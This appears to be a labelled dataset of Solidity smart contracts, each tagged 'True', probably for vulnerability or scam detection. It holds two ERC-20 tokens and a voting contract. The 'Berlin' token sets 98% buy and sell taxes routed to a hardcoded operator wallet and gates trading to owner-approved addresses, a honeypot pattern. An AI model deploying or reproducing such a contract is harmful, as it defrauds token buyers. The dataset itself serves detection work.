function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GoldenBullRun is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Golden Bull Run";
string private constant _symbol = 'BULL888️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (330 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/*
Telegram: https://t.me/BerlinERC
Twitter: TBA
Website : TBA
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Berlin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Berlin";
string private constant _symbol = "Berlin";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 98;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 98;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x242BB18630330506a6087D851834f72A20f4B255);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9; //1
uint256 public _maxWalletSize = 1000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 200000000 * 10**9; //0.2
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
uint256 _totalbuy = redisFeeOnBuy + taxFeeOnBuy;
uint256 _totalsell = redisFeeOnSell + taxFeeOnSell;
require(_totalbuy <= 11);
require(_totalsell <= 11);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function removeAllLimits() external{
//Call this from opAddress wallet after renounce when you want to lift all limits
require(_msgSender() == _opAddress);
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function liftAllFees() external{
//Call this function after renounce to remove taxes, cannot be restored back
require(_msgSender() == _opAddress);
_redisFeeOnBuy = 0;
_redisFeeOnSell = 0;
_taxFeeOnBuy = 0;
_taxFeeOnSell = 0;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= 1000000000);
_maxTxAmount = maxTxAmount * 10**9 ;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= 1000000000);
_maxWalletSize = maxWalletSize * 10**9 ;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
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pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Vote is Ownable {
// Candidate registered
event CandidateRegistered(uint candidateId, string candidateName, string candidateDescription);
// Vote cast
event VoteCast(uint candidateId);
struct Candidate {
uint candidateId;
string candidateName;
string candidateDescription;
}
uint internal salt;
string public voteName;
uint public totalVotes;
// mapping of candidate IDs to votes
mapping (uint => uint) public voteCount;
// mapping of scerets to vote status
mapping (bytes32 => bool) internal canVote;
// counter/mapping of candidates
uint public nextCandidateId = 1;
mapping (uint => Candidate) public candidateDirectory;
constructor(uint _salt, string _voteName, bytes32[] approvedHashes) public {
salt = _salt;
voteName = _voteName;
totalVotes = approvedHashes.length;
for (uint i; i < approvedHashes.length; i++) {
canVote[approvedHashes[i]] = true;
}
}
// Allows the owner to register new candidates
function registerCandidate(string candidateName, string candidateDescription) public onlyOwner {
uint candidateId = nextCandidateId++;
candidateDirectory[candidateId] = Candidate(candidateId, candidateName, candidateDescription);
emit CandidateRegistered(candidateId, candidateName, candidateDescription);
}
// get candidate information by id
function candidateInformation(uint candidateId) public view returns (string name, string description) {
Candidate storage candidate = candidateDirectory[candidateId];
return (candidate.candidateName, candidate.candidateDescription);
}
// Users can only vote by providing a secret uint s.t. candidateDirectory[keccak256(uint, salt)] == true
function castVote(uint secret, uint candidateId) public {
bytes32 claimedApprovedHash = keccak256(secret, salt); // keccak256(secret) vulnerable to a rainbow table attack
require(canVote[claimedApprovedHash], "Provided secret was not correct.");
canVote[claimedApprovedHash] = false;
voteCount[candidateId] += 1;
emit VoteCast(candidateId);
}
} | True | [
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1,
1,
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1,
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1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
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1,
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1,
1,
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1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
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